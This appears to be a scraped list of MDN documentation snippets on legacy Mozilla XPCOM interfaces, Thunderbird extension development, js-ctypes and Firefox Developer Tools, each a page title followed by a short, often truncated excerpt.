1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/microsummary/service;1 as a service: var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"] .getservice(components.interfaces.nsimicrosummaryservice); method overview void addgenerator(in nsiuri generatoruri); nsimicrosummary createmicrosummary(in nsiuri pageuri, in nsiuri generatoruri); nsisimpleenumerator getbookmarks(); nsimicrosummarygenerator getgenerator(in nsiuri generatoruri); ...
nsIMimeConverter
fieldnamelen the length of the header field including the colon and space (": ").
nsIMimeHeaders
as a service: var mimeheaders = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsimimeheaders); method overview string extractheader([const] in string headername, in boolean getallofthem); void initialize([const] in string allheaders, in long allheaderssize); attributes attribute type description allheaders string re...
nsIMsgDatabase
nextfakeofflinemsgkey nsmsgkey readonly: for saving "fake" offline msg hdrs.
nsIMsgProtocolInfo
cangetmessages boolean true if "get messages" ui actions should be enabled for the account type.
nsIMsgSearchTerm
possible values: * plugin filter imapflag user whitelist * @return true if matches */ boolean matchjunkscoreorigin(in string ajunkscoreorigin); matchbody /** * test if the body of the passed in message matches "this" search term.
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
nsIMsgSendLater
to create an instance, use var msgsendlater = components.classes["@mozilla.org/messengercompose/sendlater;1"] .getservice(components.interfaces.nsimsgsendlater); method overview void sendunsentmessages(in nsimsgidentity identity); void removelistener(in nsimsgsendlaterlistener listener); void addlistener(in nsimsgsendlaterlistener listener); nsimsgfolder getunsentmessagesfolder](in nsimsgidentity identity); attributes attribute type description msgwindow nsimsgwindow methods ...
nsIMsgWindow
to create an instance, use: msgwindow = components.classes["@mozilla.org/messenger/msgwindow;1"] .createinstance(components.interfaces.nsimsgwindow); in thunderbird the default message window is stored in the global variable msgwindow.
nsINavHistoryContainerResultNode
this value is intended to be used to see if the "+" should be drawn next to a tree item, indicating that the item can be opened.
nsINavHistoryObserver
from c++ code, use the isvoid() and setisvoid() methods to see whether an empty string is "null" or not; in either case it will always be an empty string.
nsINetworkLinkService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/network/network-link-service;1 as a service: var networklinkservice = components.classes["@mozilla.org/network/network-link-service;1"] .getservice(components.interfaces.nsinetworklinkservice); attributes attribute type description islinkup boolean this is set to true when the system is believed to have a usable network connection.
nsIOutputStream
inherits from: nsisupports last changed in gecko 1.0 an output stream may be "blocking" or "non-blocking" (see the isnonblocking() method).
nsIParserUtils
implemented by: @mozilla.org/parserutils;1 as a service: var parserutils = components.classes["@mozilla.org/parserutils;1"] .getservice(components.interfaces.nsiparserutils); method overview astring converttoplaintext(in astring src, in unsigned long flags, in unsigned long wrapcol); nsidomdocumentfragment parsefragment(in astring fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element); astring sanitiz...
nsIPasswordManager
to create an instance, use: var passwordmanager = components.classes["@mozilla.org/passwordmanager;1"] .getservice(components.interfaces.nsipasswordmanager); method overview void adduser(in autf8string ahost, in astring auser, in astring apassword); void removeuser(in autf8string ahost, in astring auser); void addreject(in autf8string ahost); void removereject(in autf8str...
nsIPermission
the nsipermission interface defines a "permission" object, which is used to allow or block objects (for example cookies, images) from certain sites based on user preferences.
nsIPipe
passing pr_uint32_max here causes the pipe to have "infinite" space.
nsIPrivateBrowsingService
to get access to the service from javascript, use: var pbs = components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.nsiprivatebrowsingservice); c++ callers should use the contract id @mozilla.org/privatebrowsing-wrapper;1 instead.
nsIProperties
to get an instance, use: var properties = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties); method overview void get(in string prop, in nsiidref iid, [iid_is(iid),retval] out nsqiresult result); void getkeys(out pruint32 count, [array, size_is(count), retval] out string keys); boolean has(in string prop); void set(in string prop, in nsisupports value); void undefine(in string prop); methods get() gets the xpcom object associated with a particular name.
nsIRadioInterfaceLayer
to create an instance, use: var radiointerfacelayer = components.classes["@mozilla.org/telephony/system-worker-manager;1"] .getservice(components.interfaces.nsiinterfacerequestor) .createinstance(components.interfaces.nsiradiointerfacelayer); method overview void answercall(in unsigned long callindex); void deactivatedatacall(in domstring cid, in domstring reason); void dial(in domstring number); void enumera...
nsIRequest
consider, for example, a http response with a "cache-control: no-cache" header.
nsISHistory
to create an instance, use: var shistory = components.classes["@mozilla.org/browser/shistory;1"] .createinstance(components.interfaces.nsishistory); method overview void addshistorylistener(in nsishistorylistener alistener); nsishentry getentryatindex(in long index, in boolean modifyindex); void purgehistory(in long numentries); void reloadcurrententry(); void removeshistorylistener(in nsishistoryl...
nsIScreenManager
66 introduced gecko 0.9.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/gfx/screenmanager;1 as a service: var screenmanager = components.classes["@mozilla.org/gfx/screenmanager;1"] .getservice(components.interfaces.nsiscreenmanager); method overview nsiscreen screenfornativewidget( in voidptr nativewidget ); native code only!
nsIScriptableUnescapeHTML
implemented by: @mozilla.org/feed-unescapehtml;1 as a service: var scriptableunescapehtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml); method overview nsidomdocumentfragment parsefragment(in astring fragment, in prbool isxml, in nsiuri baseuri, in nsidomelement element); astring unescape(in astring src); methods parsefragment() parses a string of html or xml source into a sani...
nsIScriptableUnicodeConverter
to create an instance, use: var converter = components.classes["@mozilla.org/intl/scriptableunicodeconverter"] .createinstance(components.interfaces.nsiscriptableunicodeconverter); method overview acstring convertfromunicode(in astring asrc); acstring finish(); astring converttounicode(in acstring asrc); astring convertfrombytearray([const,array,size_is(acount)] in octet adata, in unsigned long acount); ...
nsIServerSocket
to create an instance, use: var serversocket = components.classes["@mozilla.org/network/server-socket;1"] .createinstance(components.interfaces.nsiserversocket); method overview void init(in long aport, in boolean aloopbackonly, in long abacklog); void initwithaddress([const] in prnetaddrptr aaddr, in long abacklog);native code only!
nsISessionStartup
to use this service, use: var sessionstartup = components.classes["@mozilla.org/browser/sessionstartup;1"] .getservice(components.interfaces.nsisessionstartup); method overview boolean dorestore(); attributes attribute type description sessiontype unsigned long the type of session being restored; this will be one of the session type constants.
nsISessionStore
if the preference browser.sessionstate.enabled is false when this method is called, then you will get an exception about "awindows[i] has no properties".
nsISimpleEnumerator
the "next" element is the first element upon the first call.
nsISmsDatabaseService
to create an instance, use: var smsservice = components.classes["@mozilla.org/sms/smsdatabaseservice;1"] .createinstance(components.interfaces.nsismsdatabaseservice); method overview long savereceivedmessage(in domstring asender, in domstring abody, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] ...
nsISmsRequestManager
to create an instance, use: var smsrequestmanager = components.classes["@mozilla.org/sms/smsrequestmanager;1"] .createinstance(components.interfaces.nsismsrequestmanager); method overview long addrequest(in nsidommozsmsrequest arequest); long createrequest(in nsidommozsmsmanager amanager, out nsidommozsmsrequest arequest); void notifycreatemessagelist(in long arequestid, in long alistid, in nsidommozsmsmessage amessage); void notifyge...
nsISocketProvider
to create an instance, use: var socketprovider = components.classes["@mozilla.org/network/socket;2?type="] .createinstance(components.interfaces.nsisocketprovider); method overview void addtosocket(in long afamily, in string ahost, in long aport, in string aproxyhost, in long aproxyport, in unsigned long aflags, in prfiledescstar afiledesc, out nsisupports asecurityinfo); native code only!
nsISpeculativeConnect
may be null for "any thread".
nsIStackFrame
null indicates "no data" read only.
nsIStandardURL
to create an instance, use: var standardurl = components.classes["@mozilla.org/network/standard-url;1"] .createinstance(components.interfaces.nsistandardurl); method overview void init(in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mutable boolean control whether or not this url can be modified.
nsIStringBundleOverride
to create an instance, use: var stringbundleservice = components.classes["@mozilla.org/intl/stringbundle/text-override;1"] .getservice(components.interfaces.nsistringbundleoverride); note: you should never need to use this service directly.
nsIStringBundleService
to access this service, use: var stringbundleservice = components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice); method overview nsistringbundle createbundle(in string aurlspec); nsistringbundle createextensiblebundle(in string aregistrykey); void flushbundles(); wstring formatstatusmessage(in nsresult astatus, in wstring astatusarg); methods createbundle() nsistringbundle createbundle( ...
nsIStringEnumerator
the "next" element is the first string upon the first call.
nsIStyleSheetService
to create an instance, use: var stylesheetservice = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); method overview void loadandregistersheet(in nsiuri sheeturi, in unsigned long type); boolean sheetregistered(in nsiuri sheeturi, in unsigned long type); void unregistersheet(in nsiuri sheeturi, in unsigned long type); ...
nsITXTToHTMLConv
inherits from: nsistreamconverter last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by "@mozilla.org/streamconv;1?from=text/plain&to=text/html".
nsITaggingService
to use this service, use: var taggingsvc = components.classes["@mozilla.org/browser/tagging-service;1"] .getservice(components.interfaces.nsitaggingservice); method overview void taguri(in nsiuri auri, in nsivariant atags); void untaguri(in nsiuri auri, in nsivariant atags); nsivariant geturisfortag(in astring atag); nsivariant gettagsforuri(in nsiuri auri, [optional] o...
nsITransaction
merge() attempts to merge a transaction into "this" transaction.
nsITransferable
to create an instance, use: var transferable = components.classes["@mozilla.org/widget/transferable;1"] .createinstance(components.interfaces.nsitransferable); it's important to note that a flavor, which specifies a type of data the transferable supports, is represented by a null-terminated string indicating the mime type of the format supported by the flavor.
nsITransport
the name "transport" is meant to connote the inherent data transfer implied by this interface (that is, data is being transfered in some fashion via the streams exposed by this interface).
nsITreeContentView
remarks the nsitreecontentview interface only applies to trees with dom element children, and does not apply to trees with flags="dontbuildcontent".
nsIURLParser
:<password> void parseuserinfo( in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen ); parameters userinfo userinfolen usernamepos usernamelen passwordpos passwordlen notes starting in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), this no longer treats the semicolon as a "parameter string" marker.
nsIUTF8StringEnumerator
the "next" element is the first string upon the first call.
nsIUpdateItem
can be null and if supplied must be in the format of "type:hash" (see the types in nsicryptohash and nsixpinstallmanager.initmanagerwithhashes().
nsIUpdateTimerManager
in order to avoid having to instantiate a component to call the registertimer() method, the component can instead register an update-timer category with comma-separated values as a single string representing the timer, like this: _xpcom_categories: [{ category: "update-timer", value: "contractid," + "method," + "id," + "preference," + "interval" }], this allows you to schedule the timer without actually having to instantiate the component; instead, the component is instantiated when the timer is triggered.
nsIUserInfo
to get the service, use: var userinfo = components.classes["@mozilla.org/userinfo;1"] .getservice(components.interfaces.nsiuserinfo); you can then look at the userinfo object's attributes to learn what the system knows about the user.
nsIWeakReference
method overview void queryreferent( in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result ); methods queryreferent() this method queries an interface on the referent if it exists, and like nsisupports.queryinterface(), produces an owning reference to the desired interface.")}} it is designed to look and act exactly like (a proxied) nsisupports.queryinterface().
nsIWebProgressListener2
for example, via a <meta http-equiv="refresh"> or an http refresh: header.
nsIWifiMonitor
implemented by @mozilla.org/wifi/monitor;1 as a service: var wifimonitor = components.classes["@mozilla.org/wifi/monitor;1"] .getservice(components.interfaces.nsiwifimonitor); method overview void startwatching(in nsiwifilistener alistener); void stopwatching(in nsiwifilistener alistener); methods startwatching() starts listening for changes to the wifi access point list.
nsIWinAppHelper
to create an instance, use: var xulappinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsiwinapphelper); the nsixulappinfo and nsixulruntime interfaces are also implemented by "xre/app-info".
nsIWindowsRegKey
return value one of the "type_" constants.
nsIXPConnect
exceptions thrown missing exception missing description flagsystemfilenameprefix() preconfigure xpcnativewrapper automation so that when a scripted caller whose filename starts with filenameprefix accesses a wrapped native that is not flagged as "system", the wrapped native will be automatically wrapped with an xpcnativewrapper.
nsIXSLTProcessor
to create an instance, use: var xsltprocessor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); method overview void clearparameters(); nsivariant getparameter(in domstring namespaceuri, in domstring localname); void importstylesheet(in nsidomnode style); void removeparameter(in domstring namespaceuri, in domstring localname); void reset(); void setparameter(in domstring namespaceuri, in domstring localname, in nsivariant value); nsidomdocument transformtodocument(in nsidomnode source)...
nsIXULTemplateBuilder
the structure of a template is as follows: <rootnode datasources="" ref=""> <template> <queryset> <query></query> <rule> <conditions>...</conditions> <bindings>...</bindings> <action>...</action> </rule> </queryset> </template> </rootnode> the datasources attribute on the root node is used to identify the source of data to be used.
nsIXmlRpcClient
the default charset if this function is not called is "utf-8" void setauthentication ( in string encoding ) ; parameters encoding encoding charset to be used asynccall() call remote method methodname asynchronously with given arguments.
nsIZipReaderCache
to create an instance, use: var zipreadercache = components.classes["@mozilla.org/libjar/zip-reader-cache;1"] .createinstance(components.interfaces.nsizipreadercache); method overview nsizipreader getinnerzip(in nsifile zipfile, in autf8string zipentry); nsizipreader getinnerzip(in nsifile zipfile, in string zipentry); obsolete since gecko 10 nsizipreader getzip(in nsifile zipfile); void init(in unsigned long cachesize); methods getinnerzip() returns a (possibly shared) cached nsi...
nsMsgSearchAttrib
rchattribvalue cc = 7; const nsmsgsearchattribvalue toorcc = 8; const nsmsgsearchattribvalue alladdresses = 9; const nsmsgsearchattribvalue location = 10; /* result list only */ const nsmsgsearchattribvalue messagekey = 11; /* message result elems */ const nsmsgsearchattribvalue ageindays = 12; const nsmsgsearchattribvalue folderinfo = 13; /* for "view thread context" from result */ const nsmsgsearchattribvalue size = 14; const nsmsgsearchattribvalue anytext = 15; const nsmsgsearchattribvalue keywords = 16; // keywords are the internal representation of tags.
NS_WARNING
syntax ns_warning("warning text"); ...
XPCOM primitive
an xpcom primitive is an xpcom object that "boxes" a value of a primitive type.
XPCOM Interface Reference by grouping
(i'm fully aware that this will be a great point of discussion and probably will end in tears, but since i'm the first person to apparently take a swing at this, i get first dibs.) the primary sections consist of: browser this section contains elements associated with the view pane or the content of the "browser window" proper.
NS_CStringCloneData
#include "nsstringapi.h" char* ns_cstringclonedata( const nsacstring& astring ); parameters astring [in] a nsacstring instance whose data is to be cloned.
NS_CStringContainerFinish
#include "nsstringapi.h" void ns_cstringcontainerfinish( nscstringcontainer& astring ); parameters astring [in] a nscstringcontainer instance that is no longer needed.
NS_CStringContainerInit
#include "nsstringapi.h" nsresult ns_cstringcontainerinit( nscstringcontainer& astring ); parameters astring [in] a nscstringcontainer instance to be initialized.
NS_CStringContainerInit2
#include "nsstringapi.h" nsresult ns_cstringcontainerinit2( nscstringcontainer& acontainer, const char* adata = nsnull, pruint32 adatalength = pr_uint32_max, pruint32 aflags = 0 ); parameters acontainer [in] the nscstringcontainer instance to initialize.
NS_CStringCopy
#include "nsstringapi.h" nsresult ns_cstringcopy( nsacstring& adeststring, const nsacstring& asrcstring ); parameters adeststring [in] a nsacstring instance to be modified.
NS_CStringGetData
#include "nsstringapi.h" pruint32 ns_cstringgetdata( const nsacstring& astring, const char** adata, prbool* aterminated = nsnull ); parameters astring [in] a nsacstring instance to inspect.
NS_CStringGetMutableData
#include "nsstringapi.h" pruint32 ns_cstringgetmutabledata( nsacstring& astring, pruint32 adatalength, char** adata ); parameters astring [in] a nsacstring instance to modify.
NS_CStringSetDataRange
#include "nsstringapi.h" nsresult ns_cstringsetdatarange( nsacstring& astring, pruint32 acutstart, pruint32 acutlength, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify.
NS_StringCloneData
#include "nsstringapi.h" prunichar* ns_stringclonedata( const nsastring& astring ); parameters astring [in] a nsastring instance whose data is to be cloned.
NS_StringContainerFinish
#include "nsstringapi.h" void ns_stringcontainerfinish( nsstringcontainer& astring ); parameters astring [in] a nsstringcontainer instance that is no longer needed.
NS_StringContainerInit
#include "nsstringapi.h" nsresult ns_stringcontainerinit( nsstringcontainer& astring ); parameters astring [in] a nsstringcontainer instance to be initialized.
NS_StringCopy
#include "nsstringapi.h" nsresult ns_stringcopy( nsastring& adeststring, const nsastring& asrcstring ); parameters adeststring [in] a nsastring instance to be modified.
NS_StringGetData
#include "nsstringapi.h" pruint32 ns_stringgetdata( const nsastring& astring, const prunichar** adata, prbool* aterminated ); parameters astring [in] a nsastring instance to inspect.
NS_StringSetDataRange
#include "nsstringapi.h" nsresult ns_stringsetdatarange( nsastring& astring, pruint32 acutstart, pruint32 acutlength, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify.
NS_UTF16ToCString
#include "nsstringapi.h" nsresult ns_utf16tocstring( const nsastring& asrc, nscstringencoding adestencoding, nsacstring& adest ); parameters asrc [in] a nsastring instance containing the source utf-16 string to be converted.
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
nsGetModuleProc
#include "nsxpcom.h" typedef nsresult (pr_callback *nsgetmoduleproc)( nsicomponentmanager *acompmgr, nsifile* alocation, nsimodule** aresult ); parameters acompmgr [in] the xpcom component manager.
nsStaticModuleInfo
#include "nsxpcom.h" struct nsstaticmoduleinfo { const char* name; nsgetmoduleproc getmodule; }; members name this member provides the name of the module as a null-terminated, ascii-valued character array.
The Thread Manager
application/extension javascript should consider using a chromeworker instead.") interfaces there are several interfaces that provide threading support: nsithreadmanager the thread manager itself lets you create threads.
Using nsIPasswordManager
getting nsipasswordmanager to get a component implementing nsipasswordmanager, use the following: var passwordmanager = components.classes["@mozilla.org/passwordmanager;1"] .getservice(components.interfaces.nsipasswordmanager); storing a password to store a password in the password manager, you need three things: a hostname/url (you'll need this to retrieve the password again later), a username, and a password.
Using nsISimpleEnumerator
using nsisimpleenumerator <stringbundle>.strings var enumerator = document.getelementbyid('astringbundleid').strings; var s = ""; while (enumerator.hasmoreelements()) { var property = enumerator.getnext().queryinterface(components.interfaces.nsipropertyelement); s += property.key + ' = ' + property.value + ';\n'; } alert(s); example using javascript 1.7 features // creates a generator iterating over enum's values function generatorfromsimpleenumerator(enum, interface) { while (enum.hasmoreelements()) { yield enum.getnext().queryinterface(interface); } } var b = document.getelementbyid("stringbundleset").firstchild var props = generatorfromenumerator(b.strings, components.interfaces.nsipropertyelement); var s = ""; for (let property in props) { s += property.key...
XPCOM ABI
to retrieve the abi of your firefox or thunderbird, open the error console (accessible through tools | error console) and evaluate the following javascript code: components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime) .xpcomabi if either the cpu architecture or the c++ compiler are unknown, the application wouldn't have an xpcom abi string and attempts to get it will result in error ns_error_not_available.
XPCOM ownership guidelines
all "factory" and "getter" functions produce owning pointers.
Xptcall Porting Guide
#include "xptcstubsdecl.inc" // the following methods must be provided by inheritor of this class.
pyxpidl
-a emit annotations to typelib n/a (feature removed) -w turn on warnings n/a (this is now the default and can't be turned off) -v verbose mode (nyi) n/a (feature removed) -t creates a typelib of a specific version number n/a (feature removed, and probably never actually worked) -i add an entry to start of include path for #include "nsifoo.idl" -i (unchanged) -o specify the base name for output (-o /tmp/nsifoo for example) -o outputfile (this isn't just the base name, but needs to include the extension; for example -o /tmp/nsifoo.idl) -e specify an explicit output file name (-e /tmp/nsifoo.idl for example) n/a (this is subsumed by -o now) -d write dependencies (requires -e) -d (...
xpidl
MozillaTechXPIDLxpidl
xpidl can be run from the command line: usage: ./xpidl -m mode [-w] [-v] [-t version number] [-d filename.pp] [-i path] [-o basename | -e filename.ext] filename.idl -a emit annotations to typelib -w turn on warnings (recommended) -v verbose mode (nyi) -t create a typelib of a specific version number -i add entry to start of include path for ``#include "nsithing.idl" -o use basename (e.g.
The Valgrind Test Job
alternatively, bugs relating to the test job can be filed in the "testing" product, under the "general" component.
Buddy icons in mail
we do not show any buddy icon if you are in "collapsed" header mode.
MailNews fakeserver
to enable/disable debugging, call setdebuglevel on your nsmailserver instance with one of the following options: const fsdebugnone = 0; // dump nothing const fsdebugrecv = 1; // dump just the received commands const fsdebugrecvsend = 2; // dump received + sent commands, no data const fsdebugall = 3; // dump everything debugging is set to "none" by default.
MailNews Protocols
imap,pop3, and nntp are "incoming" protocols, i.e., we retrieve messages from a server, and represent them as folders to the user.
Thunderbird Configuration Files
you will be taken to the "real" folder, which is normally c:\documents and settings\[user name]\application data on windows xp/2000, c:\users\[user name]\appdata\roaming on windows vista.
Building a Thunderbird extension 2: extension file layout
you can find information about the locale/ and defaults/ folders in the more general "building an extension" documentation.
Access Window
check if the window is a tab or the root window window.addeventlistener("load", function(e) { alert("is root?: " + isroot()); }, false); function isroot() { if(window != window.top) return "false"; else return "true"; } the example above tells you if the window object is a reference of the application window or of one of it is a tabs.
Add New Tab
var aurl = "chrome://myext/mytab.xul"; let tabmail = getmail3pane().document.getelementbyid("tabmail"); tabmail.opentab("chrometab", { chromepage: aurl }); ...
Add Toolbar Button
example xul overlay file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?> <overlay id="messengerwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Create Custom Column
the article "creating a custom column" will get you well on the road to creating your own columns and populating them with custom data.
Detect Opening Folder
to do this you need to capture the select event of the folder [[xul:tree|tree]] whose id is (conveniently) foldertree like so: window.document.getelementbyid('foldertree').addeventlistener("select", testcolumns, false); ...
Folders and message lists
components.utils.import("resource:///modules/iteratorutils.jsm"); for (let msghdr in fixiterator(myfolder.messages, components.interfaces.nsimsgdbhdr)) { // do something with msghdr...
Toolkit version format
see maintenance policy for special rules that mark version as "beta" in the amo queues.
ArrayType
ptr ctype returns a ctype representing the data type "pointer to this type".
FunctionType
ptr ctype returns a ctype representing the data type "pointer to this type".
Int64
this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
StructType
ptr ctype returns a ctype representing the data type "pointer to this type".
js-ctypes reference
it is obtained by by loading the ctypes module: components.utils.import("resource://gre/modules/ctypes.jsm"); you can use the ctypes object to load libraries, construct types, and perform miscellaneous tasks such as type casting.
js-ctypes
examples add to iphoto a firefox extension that uses js-ctypes to call carbon and core foundation framework routines on mac os x to implement an "add image to iphoto" feature in firefox.
Scripting plugins - Plugins
the new npnvariable enumerations are defined in npapi.h as: npnvwindownpobject = 15, npnvpluginelementnpobject = 16 how to call plugin native methods the following html code will do the job: <embed type="application/plugin-mimetype"> <script> var embed = document.embeds[0]; embed.nativemethod(); alert(embed.nativeproperty); embed.nativeproperty.anothernativemethod(); </script> the api extensions the api extensions are based on four new structs: npstring npvariant npn_releasevariantvalue npn_getstringidentifier npn_getstringidentifiers npn_getintidentifier npn_ident...
Plugin Roadmap for Firefox - Plugins
2019 in september 2019, firefox 69 will remove the "always activate" flash option so we always ask for user permission before activating flash on a website.
3D view - Firefox Developer Tools
when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
The Web Developer Menu - Firefox Developer Tools
on os x and linux, it's under the "tools" menu: on windows 7, it's under the "firefox" menu: you'll see that the menu is split into three sections: the first section lists tools that are hosted in the toolbox, which is a dedicated window for developer tools the second section lists integrated tools that are not hosted in the toolbox, as well as any tools installed as add-ons (you'll see in the windows screenshot above that i've installed the firefox os simulator) the third section, "get more tools", is a link to more web development add-ons for firefox ...
Inspecting web app manifests - Firefox Developer Tools
when you open the application panel’s manifest view on a page that doesn't have an app manifest successfully deployed, you'll get the following output shown: deploying a manifest to get a manifest deployed successfully, you need to include a <link> element in the <head> of your document that points to your .webmanifest file: <link rel="manifest" href="/manifest.webmanifest"> the .webmanifest extension is recommended in the spec, and should be served with an application/manifest+json mime type, although browsers generally tend to support manifests with other appropriate extensions like .json (mime type: application/json).
Debugging service workers - Firefox Developer Tools
delete "name of cache" — delete only the highlighted cache.
Application - Firefox Developer Tools
if you can’t see it there, you can enable it by going to the "three dot" menu and selecting settings (also accessible by pressing f1), then checking the application checkbox under default developer tools.
Break on DOM mutation - Firefox Developer Tools
the panel on the right shows that execution is "paused on dom mutation" and you, as with any other breakpoint, you can see the call stack and view any watch expressions you may have set up.
Debug eval sources - Firefox Developer Tools
in the video below, we load a page containing a source like this: var script = `function foo() { console.log('called foo'); } //# sourceurl=my-foo.js`; eval(script); var button = document.getelementbyid("foo"); button.addeventlistener("click", foo, false); the evaluated string is given the name "my-foo.js" using the //# sourceurl directive.
Ignore a source - Firefox Developer Tools
if the source file is displayed in the source pane, click the "eye" icon at the bottom.
Use watchpoints - Firefox Developer Tools
the message panel in the upper right corner indicates that the debugger is "paused on property set".
Set an XHR breakpoint - Firefox Developer Tools
to turn on the feature: open the debugger click on "pause on any url" which acts as a wild card, causing the code to pause on any call, or, click the plus sign next to the xhr breakpoints header, enter the url in which you are interested, and press enter.
Set event listener breakpoints - Firefox Developer Tools
in addition, you get a box overlaid on the viewport saying "paused on event breakpoint", with buttons to step over that line of code or resume execution.
Source map errors - Firefox Developer Tools
typical error messages here are: syntaxerror: json.parse: unexpected character at line 1 column 1 of the json data error: "version" is a required argument original source missing an original source may be missing.
Debugger - Firefox Developer Tools
spidermonkey only calls onenterframe to report visible, non-"debugger" frames.
Eyedropper - Firefox Developer Tools
alue for the current pixel using whichever scheme you've selected in settings > inspector > default color unit: you can use it in one of two ways: to select a color from the page and copy it to the clipboard to change a color value in the inspector's rules view to a color you've selected from the page copying a color to the clipboard open the eyedropper in one of these two ways: select "eyedropper" under the "web developer" menu open the page inspector tab and click the eyedropper button in its toolbar as you move the mouse around the page you'll see the current color value in the eyedropper change.
JSON viewer - Firefox Developer Tools
arrays and objects are shown collapsed, and you can expand them using the "+" icons.
Tree map view - Firefox Developer Tools
a treemap displays "hierarchical (tree-structured) data as a set of nested rectangles".
Memory - Firefox Developer Tools
the dominators view shows the "retained size" of objects: that is, the size of objects plus the size of other objects that they keep alive through references.
Performance Analysis - Firefox Developer Tools
to get back to the network monitor's list of network requests click the "back" button on the left.
Examine Event Listeners - Firefox Developer Tools
the inspector shows the word "event" next to elements in the html pane, that have event listeners bound to them: click the icon, then you'll see a popup listing all the event listeners bound to this element: each line contains: a right-pointing arrowhead; click to expand the row and show the listener function source code a curved arrow pointing to a stack; click it to show the code for the handler in the debugger the name of the event for which a handler was attached to this element the name and line number for the listener; you can also click here to expand the row and view the listener function source code a label indicating whether the event bubbles a label indicating the system that defines the event.
Use the Inspector API - Firefox Developer Tools
layout-change "low-priority change event for things like paint and resize." ...
Animation inspector (Firefox 41 and 42) - Firefox Developer Tools
to see what the animation inspector looks like in firefox 43 and subsequent releases, see the main "work with animations" page.
Call Tree - Firefox Developer Tools
if you want to see the details, check "show gecko platform data" in the settings.
Flame Chart - Firefox Developer Tools
the sort() code is just this: function sort(unsorted) { console.log(bubblesort(unsorted)); console.log(selectionsort(unsorted)); console.log(quicksort(unsorted)); } the markers labeled "bubb..." and colored olive-green are presumably bubblesort().
Frame rate - Firefox Developer Tools
switch to the flame chart to see the call stack at that point: the offending function is called dopointlesscomputations(), and it's defined in "main.js".
Performance - Firefox Developer Tools
this view only appears if you checked "record allocations" in the performance tool settings.
Debugging Firefox Desktop - Firefox Developer Tools
enable remote debugging first, you'll need to ensure that both debugger and debuggee have the "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging" settings checked in the developer tools settings.
Local Storage / Session Storage - Firefox Developer Tools
finally, you can add new storage items by clicking the "plus" (+) button and then editing the resulting new row to the value you want.
Firefox Developer Tools
unlike the "core tools" above, you might not use them every day.
AbstractWorker - Web APIs
var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } the worker's code is loaded from the file "worker.js".
Accelerometer.x - Web APIs
WebAPIAccelerometerx
let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Accelerometer.y - Web APIs
WebAPIAccelerometery
